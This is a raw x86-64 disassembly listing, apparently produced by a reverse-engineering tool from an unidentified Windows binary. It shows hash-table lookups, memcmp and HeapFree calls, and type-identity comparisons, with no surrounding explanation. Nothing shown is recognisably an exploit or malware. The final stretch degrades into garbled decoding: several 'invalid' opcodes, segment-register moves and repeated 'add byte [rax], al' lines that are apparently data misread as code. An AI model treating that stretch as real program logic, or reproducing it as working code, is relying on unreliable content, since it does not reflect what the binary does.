mov rax, qword [rsp + 0x70]
movzx ecx, byte [rsp + 0x78]
mov edx, dword [rsp + 0x79]
movzx r8d, word [rsp + 0x7d]
movzx r9d, byte [rsp + 0x7f]
movups xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x270], xmm0
mov qword [rsp + 0x260], rax
mov byte [rsp + 0x268], cl
mov dword [rsp + 0x269], edx
mov word [rsp + 0x26d], r8w
mov byte [rsp + 0x26f], r9b
movaps xmm0, xmmword [rsp + 0xe0]
movaps xmm1, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x7e0], xmm0
movaps xmmword [rsp + 0x7f0], xmm1
mov rax, r10
cmp r10, qword [rsp + 0x1d0]
mov rdx, r10
jne 0x1400815ae
lea rcx, [rsp + 0x1d0]
call fcn.14002cf10
mov rdx, qword [rsp + 0x138]
mov r11, qword [rsp + 0xb8]
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x1e0]
mov r14, qword [rsp + 0x208]
lea rcx, [rax + rax*2]
shl rcx, 5
mov r8, qword [rsp + 0x40]
mov qword [r8 + rcx], 0
movaps xmm0, xmmword [rsp + 0x7e0]
movaps xmm1, xmmword [rsp + 0x7f0]
movups xmmword [r8 + rcx + 0x18], xmm0
movups xmmword [r8 + rcx + 0x28], xmm1
movdqa xmm0, xmmword [rsp + 0x260]
movdqa xmm1, xmmword [rsp + 0x270]
movdqu xmmword [r8 + rcx + 0x38], xmm0
movdqu xmmword [r8 + rcx + 0x48], xmm1
mov word [r8 + rcx + 0x58], r11w
inc rax
mov qword [rsp + 0x1e0], rax
cmp rbp, r14
mov rbx, qword [rsp + 0x98]
jae 0x14008569f
mov rax, qword [rsp + 0x200]
mov word [rax + rbp*4], dx
mov word [rax + rbp*4 + 2], r11w
mov r13, qword [rsp + 0x410]
mov rbp, qword [rsp + 0x408]
jmp 0x140081873
xor r13d, r13d
mov rcx, qword [rsp + 0x130]
mov qword [rsp + 0x70], r13
mov byte [rsp + 0x78], cl
mov rax, qword [rsp + 0x26f]
lea rcx, [rsp + 0x80]
mov qword [rcx + 8], rax
movaps xmm0, xmmword [rsp + 0x260]
movups xmmword [rcx - 7], xmm0
movdqa xmm0, xmmword [rsp + 0xe0]
movdqa xmm1, xmmword [rsp + 0xf0]
movdqa xmmword [rsp + 0x4c0], xmm1
movdqa xmmword [rsp + 0x4b0], xmm0
cmp rdx, 0x7fff
ja 0x140085d4a
mov r10, rdx
mov rax, qword [rsp + 0x70]
movzx ecx, byte [rsp + 0x78]
mov edx, dword [rsp + 0x79]
movzx r8d, word [rsp + 0x7d]
movzx r9d, byte [rsp + 0x7f]
movups xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x270], xmm0
mov qword [rsp + 0x260], rax
mov byte [rsp + 0x268], cl
mov dword [rsp + 0x269], edx
mov word [rsp + 0x26d], r8w
mov byte [rsp + 0x26f], r9b
movaps xmm0, xmmword [rsp + 0xe0]
movaps xmm1, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x7e0], xmm0
movaps xmmword [rsp + 0x7f0], xmm1
mov rax, r10
cmp r10, qword [rsp + 0x1d0]
mov r9, r10
jne 0x140081773
lea rcx, [rsp + 0x1d0]
call fcn.14002cf10
mov r9, qword [rsp + 0x138]
mov r11, qword [rsp + 0xb8]
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x1e0]
mov rbx, qword [rsp + 0x200]
mov r14, qword [rsp + 0x208]
and r15b, r12b
lea rcx, [rax + rax*2]
shl rcx, 5
mov rdx, qword [rsp + 0x40]
mov qword [rdx + rcx], 0
movaps xmm0, xmmword [rsp + 0x7e0]
movaps xmm1, xmmword [rsp + 0x7f0]
movups xmmword [rdx + rcx + 0x18], xmm0
movups xmmword [rdx + rcx + 0x28], xmm1
movdqa xmm0, xmmword [rsp + 0x260]
movdqa xmm1, xmmword [rsp + 0x270]
movdqu xmmword [rdx + rcx + 0x38], xmm0
movdqu xmmword [rdx + rcx + 0x48], xmm1
mov word [rdx + rcx + 0x58], r11w
inc rax
mov qword [rsp + 0x1e0], rax
xor eax, eax
nop word cs:[rax + rax]
mov rcx, rbp
mov ebp, 0
cmp rcx, r14
jae 0x1400817e0
movzx edx, word [rbx + rcx*4]
cmp dx, 0xffff
je 0x140081819
inc rax
movzx r8d, word [rbx + rcx*4 + 2]
mov word [rbx + rcx*4], r9w
mov word [rbx + rcx*4 + 2], r11w
inc rcx
mov r11d, r8d
mov r9d, edx
mov rbp, rcx
jmp 0x1400817e0
mov word [rbx + rcx*4], r9w
mov word [rbx + rcx*4 + 2], r11w
mov rcx, qword [rsp + 0x1b8]
test rcx, rcx
mov rdx, rcx
mov r8d, 1
cmove rdx, r8
cmp rax, 0x7f
cmova rcx, rdx
test r15b, r15b
cmovne rcx, rdx
mov qword [rsp + 0x1b8], rcx
mov rbx, qword [rsp + 0x98]
mov r13, qword [rsp + 0x410]
mov rbp, qword [rsp + 0x408]
mov r15, qword [rsp + 0x230]
mov r14, qword [rsp + 0x650]
movdqu xmm0, xmmword [rsp + 0x430]
movdqu xmm1, xmmword [rsp + 0x440]
movdqa xmmword [rsp + 0x180], xmm1
movdqa xmmword [rsp + 0x170], xmm0
mov qword [rsp + 0x4b0], r13
mov qword [rsp + 0x4b8], r14
mov qword [rsp + 0x4c0], rbp
mov qword [rsp + 0x4c8], r15
mov byte [rsp + 0x4d0], 0
mov eax, dword [rsp + 0x609]
mov ecx, dword [rsp + 0x60c]
lea rdx, [rsp + 0x4c8]
mov dword [rdx + 0xc], ecx
mov dword [rdx + 9], eax
lea rsi, [rsp + 0x340]
mov rcx, rsi
call fcn.140038f20
test al, al
jne 0x140085a72
add rbx, 0x20
mov qword [rsp + 0x98], rbx
mov rcx, rsi
lea rdx, [rsp + 0x170]
call fcn.14001f090
mov r9d, eax
movzx esi, word [rsp + 0x398]
mov r13d, r9d
and r13d, esi
mov r15, qword [rsp + 0x390]
mov r12, qword [rsp + 0x388]
mov r10, qword [rsp + 0x360]
mov rdx, qword [rsp + 0x368]
mov r11, qword [rsp + 0x170]
mov rax, qword [rsp + 0x178]
mov qword [rsp + 0x450], rax
movzx eax, byte [rsp + 0x178]
mov byte [rsp + 0x138], al
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x40], rax
xor r14d, r14d
mov dword [rsp + 0xa8], r9d
mov qword [rsp + 0xb8], rdx
mov qword [rsp + 0x130], r10
mov qword [rsp + 0xb0], r11
jmp 0x1400819c6
movzx ecx, byte [rsp + 0x138]
cmp byte [rax + 8], cl
je 0x140081a93
nop word cs:[rax + rax]
inc r14
inc r13
mov rax, r13
nop dword [rax]
mov r13, rax
mov eax, 0
cmp r13, r15
jae 0x1400819d0
movzx ebx, word [r12 + r13*4]
cmp rbx, 0xffff
je 0x140081b90
movzx eax, word [r12 + r13*4 + 2]
mov ecx, esi
and ecx, eax
mov r8d, r13d
sub r8d, ecx
and r8d, esi
cmp r8, r14
jb 0x140081d19
cmp ax, r9w
jne 0x1400819c0
cmp rdx, rbx
jbe 0x14008566f
test r11, r11
sete al
imul rbp, rbx, 0x68
mov rcx, qword [r10 + rbp + 0x40]
test rcx, rcx
setne r8b
cmp r8b, al
je 0x1400819c0
lea rax, [r10 + rbp]
add rax, 0x40
test rcx, rcx
je 0x1400819a1
mov rcx, qword [rsp + 0x40]
cmp qword [rax + 0x10], rcx
jne 0x1400819c0
mov rcx, qword [rax + 8]
mov rdx, qword [rsp + 0x450]
mov r8, qword [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcmp
mov r11, qword [rsp + 0xb0]
mov r10, qword [rsp + 0x130]
mov rdx, qword [rsp + 0xb8]
mov r9d, dword [rsp + 0xa8]
test eax, eax
jne 0x1400819c0
lea rsi, [r10 + rbp]
mov rax, qword [rsp + 0x4d0]
mov qword [rsp + 0x800], rax
movups xmm0, xmmword [rsp + 0x4b0]
movups xmm1, xmmword [rsp + 0x4c0]
movaps xmmword [rsp + 0x7f0], xmm1
movaps xmmword [rsp + 0x7e0], xmm0
cmp qword [r10 + rbp], 0
je 0x140081f2d
mov r14, qword [rsi + 0x10]
mov r15, qword [rsp + 0x380]
mov rdx, r15
cmp r15, qword [rsp + 0x370]
lea r12, [rsp + 0x7e0]
jne 0x140081b08
lea rcx, [rsp + 0x370]
call fcn.1400bec90
mov rdx, qword [rsp + 0x380]
mov rax, qword [rsp + 0x378]
lea rcx, [rdx + rdx*8]
mov qword [rax + rcx*8], 1
mov qword [rax + rcx*8 + 8], r14
mov qword [rax + rcx*8 + 0x10], 0
mov qword [rax + rcx*8 + 0x18], rbx
movdqa xmm0, xmmword [rsp + 0x7e0]
movdqa xmm1, xmmword [rsp + 0x7f0]
movdqu xmmword [rax + rcx*8 + 0x20], xmm0
movdqu xmmword [rax + rcx*8 + 0x30], xmm1
mov r8, qword [rsp + 0x800]
mov qword [rax + rcx*8 + 0x40], r8
inc rdx
mov qword [rsp + 0x380], rdx
cmp r14, rdx
jae 0x1400856b1
lea rcx, [r14 + r14*8]
mov qword [rax + rcx*8 + 0x10], 1
mov qword [rax + rcx*8 + 0x18], r15
mov qword [rsi], 1
mov qword [rsi + 0x10], r15
jmp 0x140081fcb
movaps xmm0, xmmword [rsp + 0x170]
movaps xmm1, xmmword [rsp + 0x180]
movaps xmmword [rsp + 0xf0], xmm1
movaps xmmword [rsp + 0xe0], xmm0
mov rax, qword [rsp + 0x4d0]
mov qword [rsp + 0x280], rax
movdqu xmm0, xmmword [rsp + 0x4b0]
movdqu xmm1, xmmword [rsp + 0x4c0]
movdqa xmmword [rsp + 0x270], xmm1
movdqa xmmword [rsp + 0x260], xmm0
cmp rdx, 0x7fff
ja 0x140085aeb
movaps xmm0, xmmword [rsp + 0x170]
movaps xmm1, xmmword [rsp + 0x180]
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [rsp + 0x4b0]
movups xmm1, xmmword [rsp + 0x4c0]
movaps xmmword [rsp + 0x7e0], xmm0
movaps xmmword [rsp + 0x7f0], xmm1
mov rax, qword [rsp + 0x4d0]
mov qword [rsp + 0x800], rax
mov rax, rdx
cmp rdx, qword [rsp + 0x358]
lea r12, [rsp + 0x7e0]
mov rbx, qword [rsp + 0x98]
jne 0x140081c90
lea rcx, [rsp + 0x358]
call fcn.14004fea0
mov rdx, qword [rsp + 0xb8]
mov r9d, dword [rsp + 0xa8]
mov r10, qword [rsp + 0x360]
mov rax, qword [rsp + 0x368]
mov r15, qword [rsp + 0x390]
imul rcx, rax, 0x68
mov qword [r10 + rcx], 0
movaps xmm0, xmmword [rsp + 0x7e0]
movaps xmm1, xmmword [rsp + 0x7f0]
movups xmmword [r10 + rcx + 0x18], xmm0
movups xmmword [r10 + rcx + 0x28], xmm1
mov r8, qword [rsp + 0x800]
mov qword [r10 + rcx + 0x38], r8
movdqa xmm0, xmmword [rsp + 0x70]
movdqa xmm1, xmmword [rsp + 0x80]
movdqu xmmword [r10 + rcx + 0x40], xmm0
movdqu xmmword [r10 + rcx + 0x50], xmm1
mov word [r10 + rcx + 0x60], r9w
inc rax
mov qword [rsp + 0x368], rax
cmp r13, r15
jae 0x14008568d
mov rax, qword [rsp + 0x388]
mov word [rax + r13*4], dx
mov word [rax + r13*4 + 2], r9w
mov r15, qword [rsp + 0x30]
jmp 0x140081f1a
cmp r14, 0x200
setae bl
cmp qword [rsp + 0x340], 2
setne sil
movaps xmm0, xmmword [rsp + 0x170]
movaps xmm1, xmmword [rsp + 0x180]
movaps xmmword [rsp + 0xf0], xmm1
movaps xmmword [rsp + 0xe0], xmm0
mov rax, qword [rsp + 0x4d0]
mov qword [rsp + 0x280], rax
movdqu xmm0, xmmword [rsp + 0x4b0]
movdqu xmm1, xmmword [rsp + 0x4c0]
movdqa xmmword [rsp + 0x270], xmm1
movdqa xmmword [rsp + 0x260], xmm0
cmp rdx, 0x7fff
ja 0x140085aeb
movaps xmm0, xmmword [rsp + 0x170]
movaps xmm1, xmmword [rsp + 0x180]
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [rsp + 0x4b0]
movups xmm1, xmmword [rsp + 0x4c0]
movaps xmmword [rsp + 0x7e0], xmm0
movaps xmmword [rsp + 0x7f0], xmm1
mov rax, qword [rsp + 0x4d0]
mov qword [rsp + 0x800], rax
mov rax, rdx
cmp rdx, qword [rsp + 0x358]
jne 0x140081e28
lea rcx, [rsp + 0x358]
call fcn.14004fea0
mov rdx, qword [rsp + 0xb8]
mov r9d, dword [rsp + 0xa8]
mov r10, qword [rsp + 0x360]
mov rax, qword [rsp + 0x368]
mov r12, qword [rsp + 0x388]
mov r15, qword [rsp + 0x390]
and bl, sil
imul rcx, rax, 0x68
mov qword [r10 + rcx], 0
movaps xmm0, xmmword [rsp + 0x7e0]
movaps xmm1, xmmword [rsp + 0x7f0]
movups xmmword [r10 + rcx + 0x18], xmm0
movups xmmword [r10 + rcx + 0x28], xmm1
mov r8, qword [rsp + 0x800]
mov qword [r10 + rcx + 0x38], r8
movdqa xmm0, xmmword [rsp + 0x70]
movdqa xmm1, xmmword [rsp + 0x80]
movdqu xmmword [r10 + rcx + 0x40], xmm0
movdqu xmmword [r10 + rcx + 0x50], xmm1
mov word [r10 + rcx + 0x60], r9w
inc rax
mov qword [rsp + 0x368], rax
xor eax, eax
mov rcx, r13
mov r13d, 0
cmp rcx, r15
jae 0x140081e90
movzx r10d, word [r12 + rcx*4]
cmp r10w, 0xffff
je 0x140081ecc
inc rax
movzx r8d, word [r12 + rcx*4 + 2]
mov word [r12 + rcx*4], dx
mov word [r12 + rcx*4 + 2], r9w
inc rcx
mov r9d, r8d
mov edx, r10d
mov r13, rcx
jmp 0x140081e90
mov word [r12 + rcx*4], dx
mov word [r12 + rcx*4 + 2], r9w
mov rcx, qword [rsp + 0x340]
test rcx, rcx
mov rdx, rcx
mov r8d, 1
cmove rdx, r8
cmp rax, 0x7f
cmova rcx, rdx
test bl, bl
cmovne rcx, rdx
mov qword [rsp + 0x340], rcx
lea r12, [rsp + 0x7e0]
mov r15, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x98]
cmp rbx, qword [rsp + 0x670]
jne 0x14008028c
jmp 0x14008211b
mov r14, qword [rsp + 0x380]
mov rax, r14
cmp r14, qword [rsp + 0x370]
lea r12, [rsp + 0x7e0]
jne 0x140081f5f
lea rcx, [rsp + 0x370]
call fcn.1400bec90
mov rax, qword [rsp + 0x380]
mov rcx, qword [rsp + 0x378]
lea rdx, [rax + rax*8]
mov qword [rcx + rdx*8], 0
mov qword [rcx + rdx*8 + 8], rbx
mov qword [rcx + rdx*8 + 0x10], 0
mov qword [rcx + rdx*8 + 0x18], rbx
movdqa xmm0, xmmword [rsp + 0x7e0]
movdqa xmm1, xmmword [rsp + 0x7f0]
movdqu xmmword [rcx + rdx*8 + 0x20], xmm0
movdqu xmmword [rcx + rdx*8 + 0x30], xmm1
mov r8, qword [rsp + 0x800]
mov qword [rcx + rdx*8 + 0x40], r8
inc rax
mov qword [rsp + 0x380], rax
mov qword [rsi], 1
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], r14
mov r15, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x98]
mov rax, qword [rsp + 0x170]
test rax, rax
je 0x140081f1a
mov rdx, qword [rsp + 0x178]
mov r8, qword [rsp + 0x180]
lea rcx, [rsp + 0x188]
call qword [rax + 0x10]
jmp 0x140081f1a
mov rsi, qword [rsp + 0x1f8]
mov rax, rsi
cmp rsi, qword [rsp + 0x1e8]
mov r13, qword [rsp + 0x410]
mov rbp, qword [rsp + 0x408]
jne 0x140082043
lea rcx, [rsp + 0x1e8]
call fcn.14003b160
mov rax, qword [rsp + 0x1f8]
mov rcx, qword [rsp + 0x1f0]
mov rdx, rax
shl rdx, 6
mov qword [rcx + rdx], 0
mov qword [rcx + rdx + 8], r15
mov qword [rcx + rdx + 0x10], 0
mov qword [rcx + rdx + 0x18], r15
movdqa xmm0, xmmword [rsp + 0x7e0]
movdqa xmm1, xmmword [rsp + 0x7f0]
movdqu xmmword [rcx + rdx + 0x20], xmm0
movdqu xmmword [rcx + rdx + 0x30], xmm1
inc rax
mov qword [rsp + 0x1f8], rax
mov qword [r14], 1
mov qword [r14 + 8], rsi
mov qword [r14 + 0x10], rsi
mov rbx, qword [rsp + 0x98]
jmp 0x14008186b
movdqu xmm0, xmmword [rsp + rax + 0x7e0]
movdqa xmm1, xmm0
paddq xmm1, xmm10
pandn xmm0, xmm1
pshufd xmm1, xmm0, 0xee
por xmm1, xmm0
movq rdx, xmm1
movabs r8, 0x8080808080808080
test rdx, r8
jne 0x140082103
add rax, 0x10
cmp rax, rcx
jbe 0x1400820c0
jmp 0x140082103
inc rax
cmp r14, rax
je 0x140080416
cmp byte [rsp + rax + 0x7e0], 0
jne 0x140082100
jmp 0x140082b9f
mov r13, qword [rsp + 0x1b8]
cmp r13, 3
jne 0x140082197
cmp qword [rsp + 0x458], 0
je 0x1400824e8
movdqu xmm0, xmmword [rsp + 0x458]
movdqu xmm1, xmmword [rsp + 0x468]
movdqa xmmword [rsp + 0x700], xmm1
movdqa xmmword [rsp + 0x6f0], xmm0
movzx eax, byte [0x14017d2b0]
mov edx, 0x20
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x140085b74
mov r14, rax
movups xmm0, xmmword [0x140148960]
movups xmmword [rax + 0x10], xmm0
movdqu xmm0, xmmword [0x140148950]
movdqu xmmword [rax], xmm0
jmp 0x14008254f
movzx eax, byte [0x14017d2b0]
mov edx, 0x20
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x140085b74
mov r14, rax
movups xmm0, xmmword [0x140148960]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x140148950]
movups xmmword [rax], xmm0
movzx eax, byte [0x14017d2b0]
mov edx, 0x60
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x140085d8d
movups xmm0, xmmword [rsp + 0x208]
movups xmmword [rax + 0x50], xmm0
movups xmm0, xmmword [rsp + 0x1f8]
movups xmmword [rax + 0x40], xmm0
movdqu xmm0, xmmword [rsp + 0x1b8]
movdqu xmm1, xmmword [rsp + 0x1c8]
movups xmm2, xmmword [rsp + 0x1d8]
movups xmm3, xmmword [rsp + 0x1e8]
movups xmmword [rax + 0x30], xmm3
movups xmmword [rax + 0x20], xmm2
movdqu xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
lea rcx, fcn.14003ad40
mov qword [rsp + 0x20], rcx
mov rcx, r14
movabs rdx, 0xe32099525ba6306e
movabs r8, 0x2b6832ec24abc004
mov r9, rax
call fcn.14003aba0
test rax, rax
je 0x14008251c
mov rbx, rax
mov r15, rdx
mov rcx, rax
call qword [rdx + 0x18]
movabs rcx, 0xe32099525ba6306e
cmp rax, rcx
jne 0x1400824f2
movabs rax, 0x2b6832ec24abc004
cmp rdx, rax
jne 0x1400824f2
movups xmm0, xmmword [rbx + 0x50]
movaps xmmword [rsp + 0x830], xmm0
movups xmm0, xmmword [rbx + 0x40]
movaps xmmword [rsp + 0x820], xmm0
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movups xmm2, xmmword [rbx + 0x20]
movups xmm3, xmmword [rbx + 0x30]
movaps xmmword [rsp + 0x810], xmm3
movaps xmmword [rsp + 0x800], xmm2
movaps xmmword [rsp + 0x7f0], xmm1
movaps xmmword [rsp + 0x7e0], xmm0
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm0, xmmword [rsp + 0x7e0]
movdqa xmm1, xmmword [rsp + 0x7f0]
movaps xmm2, xmmword [rsp + 0x800]
movaps xmm3, xmmword [rsp + 0x810]
movaps xmmword [rsp + 0x260], xmm0
movdqa xmmword [rsp + 0x270], xmm1
movaps xmmword [rsp + 0x280], xmm2
movaps xmmword [rsp + 0x290], xmm3
movaps xmm0, xmmword [rsp + 0x820]
movaps xmmword [rsp + 0x2a0], xmm0
movdqa xmm0, xmmword [rsp + 0x830]
movdqa xmmword [rsp + 0x2b0], xmm0
cmp qword [rsp + 0x260], 3
je 0x14008251c
lea rcx, [rsp + 0x260]
call fcn.14003ad40
jmp 0x14008251c
mov bl, 1
xor r14d, r14d
jmp 0x140082694
mov rcx, rbx
call qword [r15]
cmp qword [r15 + 8], 0
je 0x14008251c
cmp qword [r15 + 0x10], 0x11
jb 0x14008250a
mov rbx, qword [rbx - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x458], 0
je 0x14008268d
movdqu xmm0, xmmword [rsp + 0x458]
movdqu xmm1, xmmword [rsp + 0x468]
movdqa xmmword [rsp + 0x700], xmm1
movdqa xmmword [rsp + 0x6f0], xmm0
movzx eax, byte [0x14017d2b0]
mov edx, 0x20
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x140085b74
movdqa xmm0, xmmword [rsp + 0x6f0]
movdqa xmm1, xmmword [rsp + 0x700]
movdqu xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
lea rcx, [0x140127768]
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
mov rcx, r14
movabs rdx, 0x3a35182e6650fc81
movabs r8, 0xa353ebe4946c85ae
mov r9, rax
call fcn.14003aba0
test rax, rax
je 0x140082689
mov rbx, rax
mov r15, rdx
mov rcx, rax
call qword [rdx + 0x18]
movabs rcx, 0x3a35182e6650fc81
cmp rax, rcx
jne 0x14008265f
movabs rax, 0xa353ebe4946c85ae
cmp rdx, rax
jne 0x14008265f
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movaps xmmword [rsp + 0x7f0], xmm1
movaps xmmword [rsp + 0x7e0], xmm0
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
movdqa xmm0, xmmword [rsp + 0x7e0]
movdqa xmm1, xmmword [rsp + 0x7f0]
movdqa xmmword [rsp + 0x260], xmm0
movdqa xmmword [rsp + 0x270], xmm1
mov rax, qword [rsp + 0x260]
test rax, rax
je 0x140082689
mov rdx, qword [rsp + 0x268]
mov r8, qword [rsp + 0x270]
lea rcx, [rsp + 0x278]
call qword [rax + 0x10]
jmp 0x140082689
mov rcx, rbx
call qword [r15]
cmp qword [r15 + 8], 0
je 0x140082689
cmp qword [r15 + 0x10], 0x11
jb 0x140082677
mov rbx, qword [rbx - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
xor ebx, ebx
jmp 0x14008268f
mov bl, 1
mov r15, qword [rsp + 0x30]
movups xmm0, xmmword [rsp + 0x390]
movaps xmmword [rsp + 0x830], xmm0
movups xmm0, xmmword [rsp + 0x380]
movaps xmmword [rsp + 0x820], xmm0
movdqu xmm0, xmmword [rsp + 0x340]
movdqu xmm1, xmmword [rsp + 0x350]
movups xmm2, xmmword [rsp + 0x360]
movups xmm3, xmmword [rsp + 0x370]
movaps xmmword [rsp + 0x810], xmm3
movaps xmmword [rsp + 0x800], xmm2
movdqa xmmword [rsp + 0x7f0], xmm1
movdqa xmmword [rsp + 0x7e0], xmm0
mov rax, qword [rsp + 0x420]
mov byte [rsp + 0x84a], al
mov rcx, qword [rsp + 0x418]
mov word [rsp + 0x848], cx
mov qword [rsp + 0x840], r14
mov rax, qword [rsp + 0x5e0]
movzx eax, byte [rax]
movzx ecx, cx
cmp ecx, 0x64
jg 0x14008273e
lea r14, [rsp + 0x140]
je 0x14008277c
jmp 0x140082767
cmp ecx, 0x65
lea r14, [rsp + 0x140]
je 0x140082d1d
cmp ecx, 0xcc
je 0x140082d27
cmp ecx, 0x130
je 0x140082d27
mov rcx, qword [rsp + 0x418]
add ecx, 0xffffff9a
cmp cx, 0x62
jae 0x140082cf8
mov rbp, qword [rdi + 0x160]
test rbp, rbp
je 0x140082c60
mov rcx, r12
call fcn.1400524f0
mov rcx, qword [rsp + 0x840]
call fcn.140002cb0
cmp r13d, 3
jne 0x1400827c1
mov rax, qword [rsp + 0x1b8]
cmp eax, 3
je 0x1400827c1
lea rcx, [rsp + 0x1b8]
call fcn.14003ad40
mov rax, qword [rsp + 0x198]
mov rdx, qword [rsp + 0x1a0]
mov r8, qword [rsp + 0x1a8]
lea rcx, [rsp + 0x1b0]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x458]
test rax, rax
setne cl
test bl, cl
mov r13, qword [rsp + 0x58]
je 0x14007f8f6
mov rdx, qword [rsp + 0x460]
mov r8, qword [rsp + 0x468]
lea rcx, [rsp + 0x470]
call qword [rax + 0x10]
jmp 0x14007f8f6
mov esi, 3
mov rbp, qword [rsp + 0x60]
jmp 0x140082a6a
mov r15, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x60]
lea r12, [rsp + 0x7e0]
lea r14, [rsp + 0x140]
mov rdx, qword [rsp + 0x238]
cmp rdx, 2
je 0x140082a60
mov rcx, qword [rsp + 0x240]
mov rax, qword [rsp + 0x248]
test rdx, rdx
je 0x1400829df
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rsp + 0x250]
call qword [rax + 0x68]
mov r8, qword [rsp + 0x238]
cmp r8, 2
je 0x140082a60
cmp rsi, 4
je 0x140083535
mov rax, qword [rsp + 0x630]
mov qword [rsp + 0x780], rax
movaps xmm0, xmmword [rsp + 0x620]
movaps xmmword [rsp + 0x770], xmm0
movaps xmm0, xmmword [rsp + 0x6e0]
movaps xmmword [rsp + 0x7c0], xmm0
movdqa xmm0, xmmword [rsp + 0x480]
movdqa xmm1, xmmword [rsp + 0x490]
movdqa xmmword [rsp + 0x100], xmm0
movdqa xmmword [rsp + 0x110], xmm1
movzx eax, word [rsp + 0x4a0]
mov word [rsp + 0x120], ax
mov eax, dword [rsp + 0xd8]
mov dword [rsp + 0x228], eax
movzx eax, byte [rsp + 0xdc]
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0x22c], al
cmp rsi, 3
jne 0x1400832d9
xor eax, eax
cmp byte [rdi + 0x128], 0
sete al
mov rcx, qword [rdi + 0x160]
cmp rcx, qword [rdi + rax*8 + 0x130]
mov edi, es
xor byte [rcx], al
add byte [rax], al
rol byte [rax + 0x128bf], 0
add byte [rdi], cl
xchg esp, eax
ror byte [rax - 0x75], 0x8f
invalid
mov edi, es
xor byte [rcx], al
add byte [rax], al
jae 0x1400833df
mov rcx, qword [rsp + 0xc0]
mov rdx, r13
call fcn.1400914a0
test rax, rax
jne 0x140083272
test rdx, rdx
jne 0x14007f880
jmp 0x140083427
mov r8, qword [rsp + 0x88]
test r8b, 1
jne 0x140082b7a
lock dec qword [r8 + 0x20]
jne 0x140082b9f
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
je 0x140082b90
mov rax, qword [r8 + 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov rsi, r8
mov esi, eax
mov esi, eax
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, rsi
jmp 0x140082b90
shr r8, 5
neg r8
cmp qword [rsp + 0x80], r8
cmp dword [rsp + 0x80], eax
cmp dword [rsp + 0x80], eax
je 0x140082b9f
add r8, qword [rsp + 0x70]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov esi, 4
mov al, 0xb
mov dword [rsp + 0x2c], eax
xor ebp, ebp
xor eax, eax
xor ebx, ebx
mov r15, qword [rsp + 0x30]
lea r14, [rsp + 0x140]
test al, al
mov r13, qword [rsp + 0x58]
jne 0x140082be0
mov rax, qword [rsp + 0x1b8]
cmp eax, 3
je 0x140082be0
mov eax, 0x83000001
clc
add esi, dword [rbp + rcx + 0x48]
lea ecx, [rsp + 0x1b8]
call fcn.14003ad40
test bpl, bpl
jne 0x140082bf2
lea rcx, [rsp + 0x340]
call fcn.1400524f0
add eax, dword [rax]
add al, ch
invalid
mov rax, qword [rsp + 0x198]
mov rdx, qword [rsp + 0x1a0]
mov r8, qword [rsp + 0x1a8]
lea rcx, [rsp + 0x1b0]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x458]
test rax, rax
sete cl
or bl, cl
mov rbp, qword [rsp + 0x60]
jne 0x1400829a6
mov rdx, qword [rsp + 0x460]
mov r8, qword [rsp + 0x468]
test byte [rax + rbp*2], ah
add al, 0
add byte [rax - 0x73], cl
mov word [rax + rsi*2], fs
add al, 0
add bh, bh
push rax
adc cl, ch
push rsi
std
invalid
invalid
test byte [rax + rbp*2], ah
add al, 0
add byte [rax - 0x73], cl
mov word [rax + rsi*2], fs
add al, 0
add bh, bh
push rax
adc cl, ch
push rsi
std
invalid
mov esi, 3
mov rcx, r12
call fcn.1400524f0
clc
cld
dec dword [rax - 0x75]
mov word [rax + rax*2], fs
or byte [rax], al
add al, ch
add al, bh
invalid
clc
cld
dec dword [rax - 0x75]
mov word [rax + rax*2], fs
or byte [rax], al
add al, ch
add al, bh
dec dword [rbx - 0x16d3dbac]
mov edx, dword [rsp + 0x2c]
jmp 0x140082f04
mov esi, 4
mov al, 0xa
mov dword [rsp + 0x2c], eax
invalid
stc
cld
invalid
mov edx, dword [rsp + 0x2c]
jmp 0x140082f04
mov dword [rsp + 0x2c], eax
jmp 0x14008298c
cmp eax, 5
je 0x140082d27
cmp eax, 7
jne 0x140082f27
mov rax, qword [rsp + 0x418]
add eax, 0xffffff38
cmp ax, 0x64
jae 0x140082f27
